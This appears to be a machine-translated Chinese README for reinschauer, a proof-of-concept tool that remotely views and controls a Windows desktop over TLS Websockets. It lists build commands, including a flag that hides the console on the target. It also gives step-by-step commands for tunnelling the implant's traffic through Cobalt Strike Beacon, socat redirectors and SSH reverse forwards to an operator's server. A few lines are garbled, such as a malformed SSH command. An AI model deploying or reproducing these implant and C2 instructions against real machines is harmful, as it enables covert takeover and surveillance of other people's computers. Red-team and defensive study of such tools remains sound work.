
it is very good

一个通过 Websockets 远程控制 Windows 机器的 PoC。查看我的博客了解相关文章。


reinschauer 将原始位图转换为 JPEG,并在通过网络发送之前压缩数据,以减少帧大小。
server 文件夹中的脚本生成 TLS 服务器文件,或者自带文件。reinschauer-server -h 查看可用选项。+----------------------------------------------------------------------------------------+
| |
| |
| +----------------------------------------------------+ |
| |#1: Type (Binary or Text) | |
| | Binary: JPG Frame | |
| | | |
| |#2: Text | |
| | ELO (Ping) | |
| | FPS <FPS Count> | |
| | SCL <Scaler Count> | |
| | QUL <JPG Quality> | |
| | LCL X Y (Left Click + Coordinates) | |
| | RCL X Y | |
| | KEY <Char> | xxxxxx |
| xxxxx <--+----------------------------------------------------+--> xxxx xx |
| x xx Websockets via TLS xx x |
| x xxxxxx xxxxxxxxx |
| xxx x xx xx x |
| xxxxxxxx xxxxx xxxxxx |
| x xxxxx |
| xx xx |
| x xx xxx |
| xx xx x xx |
| x xx xx xxx |
| x xx x xx |
| x x xx x |
+----------------------------------------------------------------------------------------+
如何构建?
>=1.18sudo apt -y install libx11-dev libxcursor-dev xorg-dev libgl1-mesa-dev$ cd client && GOOS=windows GOARCH=amd64 go build
$ cd server && GOOS=linux GOARCH=amd64 go build
我在此仓库中包含了 dotnet 变体的预构建独立版本。如果你想自己构建,请使用 Visual Studio 项目文件构建 x64 Release 变体。如果未自动完成,请通过 Visual Studio 下载项目所需的 NuGet 包。你的目标系统很可能也没有安装这些包,因此在目标上执行生成的 exe 时可能会缺少 DLL。为了解决这个问题,该项目会自动调用 ILMerge.exe 将生成的 exe 与所需的库捆绑在一起。因此,请在目标上使用名为 reinschauer-dotnet-standalone.exe 的生成文件。
你可能需要先
go get一些东西。使用-ldflags -H=windowsgui禁用控制台窗口。
谁是客户端/服务器?
client在目标(Windows)机器上执行。server组件在测试者(Linux)机器上执行。默认监听0.0.0.0:6969。Go 和 C# 客户端都与服务器兼容。
这是 HVNC / 隐藏桌面吗?
不是。它使用与用户相同的桌面。
某些按键和组合键不起作用,请修复
我知道 |、@ 和 § 目前可能无法使用,至少在我的德国土豆键盘上是这样。请修复。
客户端占用过多 CPU 时间
使用较低的 FPS 值可能有效。
我的 client 和 server 之间没有直接连接
你可以使用 CobaltStrike Beacon 进行流量隧道传输。
我没有 Cobaltstrike!
使用一个
socat重定向器,例如:
socat TCP4-LISTEN:1337,fork TCP4:127.0.0.1:6969
ssh -R 6969:localhost6969 <IP>
然后使用所需参数启动客户端,或者硬编码这些参数。
首先,按照手册设置 BOF.NET。另外,使用 bofnet_load <Path to Exe> 加载独立 exe。然后,决定如何使用 Reinschauer:
sleep 0。rportfwd_local 6969 127.0.0.1 6969。bofnet_job reinschauer_dotnet.BofStuff。这会自动使 Reinschauer 连接到目标机器的 127.0.0.1:6969。由于无论如何都会使用 Beacon 连接,这也会停用 TLS。bofnet_jobkill <Job ID>。bofnet_job reinschauer_dotnet.BofStuff <Server IP> <Server Port> true。布尔参数启用 TLS 使用。bofnet_jobkill <Job ID>。然后,使用 SSH 和 GatewayPorts 功能:将 GatewayPorts: clientspecified 添加到 sshd_config 并重启 SSH 服务器。然后,ssh -R '0.0.0.0:8080:localhost:6969'' [...] 将使你的本地端口 6969 在 0.0.0.0:8080 上可用。请小心 :)
或者,在服务器上设置一个 socat 重定向器:
socat TCP4-LISTEN:<Server Port>,fork TCP4:127.0.0.1:6969
ssh -R 6969:localhost6969 <IP>